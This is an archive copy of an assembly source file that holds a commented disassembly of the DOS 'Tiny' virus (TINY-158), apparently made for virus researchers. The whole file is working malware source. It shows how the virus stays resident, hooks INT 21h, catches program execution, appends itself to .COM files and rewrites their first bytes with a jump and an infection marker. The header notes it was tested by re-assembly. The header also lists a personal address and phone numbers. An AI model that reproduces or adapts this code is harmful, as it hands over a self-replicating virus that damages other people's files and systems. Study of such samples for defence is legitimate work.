home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-158.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.3 KB  |  178 lines

  1.     page    ,132
  2.  
  3.     name    TINY158
  4.  
  5.     title    The 'Tiny' virus, version TINY-158
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║             The 'Tiny' Virus, version TINY-158                  ║
  20.  
  21. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code, ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. seg_60    equ    600
  52.  
  53. v_len    equ    v_end-first4
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.     jmp    v_entry     ; Jump to virus code
  60.  
  61.     db    'M'             ; Virus signature
  62.  
  63.     mov    ax,4C00     ; Program terminate
  64.  
  65.     int    21
  66.  
  67.  
  68.  
  69. ; The original first 4 bytes of the infected file:
  70.  
  71.  
  72.  
  73. first4    db    0EBh, 2, 90, 90
  74.  
  75.  
  76.  
  77. v_entry:
  78.  
  79.     mov    si,0FF        ; Determine the start addres of the virus body
  80.  
  81.     add    si,[si+2]
  82.  
  83.  
  84.  
  85.     mov    di,offset start ; Put the addres of program start on the stack
  86.  
  87.     push    di        ; Now a Near RET instruction will jump there
  88.  
  89.  
  90.  
  91.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  92.  
  93.  
  94.  
  95.     movsw            ; Restore the original first 4 bytes
  96.  
  97.     movsw
  98.  
  99.  
  100.  
  101.     mov    di,seg_60+4    ; Point ES:DI at 0000:0604h (i.e, segment 60h)
  102.  
  103.     xor    cx,cx        ; ES := 0
  104.  
  105.     mov    es,cx
  106.  
  107.     mov    cl,v_len-2    ; CX := virus length
  108.  
  109.     lodsw            ; Check if virus is present in memory
  110.  
  111.     scasw
  112.  
  113.     je    run        ; Just run the program if so
  114.  
  115.  
  116.  
  117. ; Virus not in memory. Install it there:
  118.  
  119.  
  120.  
  121.     dec    di        ; Adjust DI
  122.  
  123.     dec    di
  124.  
  125.     stosw            ; Store the first word of the virus body
  126.  
  127.     rep    movsb        ; Store the rest of the virus
  128.  
  129.  
  130.  
  131.     mov    di,32*4     ; Old INT 21h handler will be moved to INT 32h
  132.  
  133.     mov    ax,int_21-first4+seg_60
  134.  
  135.  
  136.  
  137. ; Move the INT 21h handler to INT 32h and
  138.  
  139. ; install int_21 as new INT 21h handler:
  140.  
  141.  
  142.  
  143.     xchg    ax,cx
  144.  
  145. vect_cpy:
  146.  
  147.     xchg    ax,cx
  148.  
  149.     xchg    ax,word ptr es:[di-(32-21)*4]
  150.  
  151.     stosw
  152.  
  153.     jcxz    vect_cpy    ; Loop until done
  154.  
  155.  
  156.  
  157. run:
  158.  
  159.     pop    ax        ; Restore AX
  160.  
  161.     push    ds        ; ES := DS
  162.  
  163.     pop    es
  164.  
  165.  
  166.  
  167. ; Jump to program start via funny RET instruction:
  168.  
  169.  
  170.  
  171.     ret
  172.  
  173.  
  174.  
  175. int_21:             ; New INT 21h handler
  176.  
  177.     cmp    ax,4B00     ; EXEC function call?
  178.  
  179.     jne    end_21        ; Exit if not
  180.  
  181.  
  182.  
  183.     push    ax        ; Save registers used
  184.  
  185.     push    bx
  186.  
  187.     push    cx
  188.  
  189.     push    dx
  190.  
  191.     push    di
  192.  
  193.     push    ds
  194.  
  195.     push    es
  196.  
  197.  
  198.  
  199.     push    cs        ; ES := CS
  200.  
  201.     pop    es
  202.  
  203.  
  204.  
  205.     mov    ax,3D02     ; Open the file for both reading and writting
  206.  
  207.     int    32
  208.  
  209.     jc    end_exec    ; Exit on error
  210.  
  211.     xchg    bx,ax        ; Save the file handle in BX
  212.  
  213.  
  214.  
  215.     mov    ah,3F        ; Read the first 4 bytes of the file
  216.  
  217.     mov    cx,4        ; 4 bytes to read
  218.  
  219.     mov    dx,seg_60    ; Put them in first4
  220.  
  221.     mov    di,dx        ; Save first4 address in DI
  222.  
  223.     push    cs        ; DS := CS
  224.  
  225.     pop    ds
  226.  
  227.     int    32        ; Do it
  228.  
  229.  
  230.  
  231. ; Check whether the file is already infected or is an .EXE file.
  232.  
  233. ; The former contains the character `M' in its 3rd byte and
  234.  
  235. ; the latter contains it either in the 0th or in the 1st byte.
  236.  
  237.  
  238.  
  239.     push    di        ; Save DI
  240.  
  241.     mov    al,'M'          ; Look for `M'
  242.  
  243.     repne    scasb
  244.  
  245.     pop    di        ; Restore DI
  246.  
  247.     je    close        ; Exit if file not suitable for infection
  248.  
  249.  
  250.  
  251.     mov    ax,4202     ; Seek to the end of file
  252.  
  253.     xor    cx,cx
  254.  
  255.     xor    dx,dx
  256.  
  257.     int    32        ; Do it
  258.  
  259.  
  260.  
  261.     push    ax        ; Save file length
  262.  
  263.  
  264.  
  265.     mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
  266.  
  267.     mov    cl,v_len    ; Length of virus body
  268.  
  269.     mov    ah,40        ; Append virus to file
  270.  
  271.     int    32        ; Do it
  272.  
  273.  
  274.  
  275.     mov    ax,4200     ; Seek to the file beginning
  276.  
  277.     xor    cx,cx
  278.  
  279.     xor    dx,dx
  280.  
  281.     int    32        ; Do it
  282.  
  283.  
  284.  
  285.     mov    dx,di        ; Point DX at first4
  286.  
  287.     mov    al,0E9        ; Near JMP opcode
  288.  
  289.     stosb            ; Form the first instruction of the file
  290.  
  291.     pop    ax        ; Restore file length in AX
  292.  
  293.     inc    ax
  294.  
  295.     stosw            ; Form the JMP's opperand
  296.  
  297.     mov    al,'M'          ; Add a `M' character to mark the file
  298.  
  299.     stosb            ;  as infected
  300.  
  301.  
  302.  
  303.     mov    cl,4        ; Overwrite the first 4 bytes of the file
  304.  
  305.     mov    ah,40
  306.  
  307.     int    32        ; Do it
  308.  
  309.  
  310.  
  311. close:
  312.  
  313.     mov    ah,3E        ; Close the file
  314.  
  315.     int    32
  316.  
  317.  
  318.  
  319. end_exec:
  320.  
  321.     pop    es        ; Restore used registers
  322.  
  323.     pop    ds
  324.  
  325.     pop    di
  326.  
  327.     pop    dx
  328.  
  329.     pop    cx
  330.  
  331.     pop    bx
  332.  
  333.     pop    ax
  334.  
  335.  
  336.  
  337. ; Exit through the original INT 21h handler:
  338.  
  339.  
  340.  
  341. end_21:
  342.  
  343.     jmp    dword ptr cs:[32*4]
  344.  
  345.  
  346.  
  347. v_end    equ    $        ; End of virus body
  348.  
  349.  
  350.  
  351. code    ends
  352.  
  353.     end    start
  354.  
  355.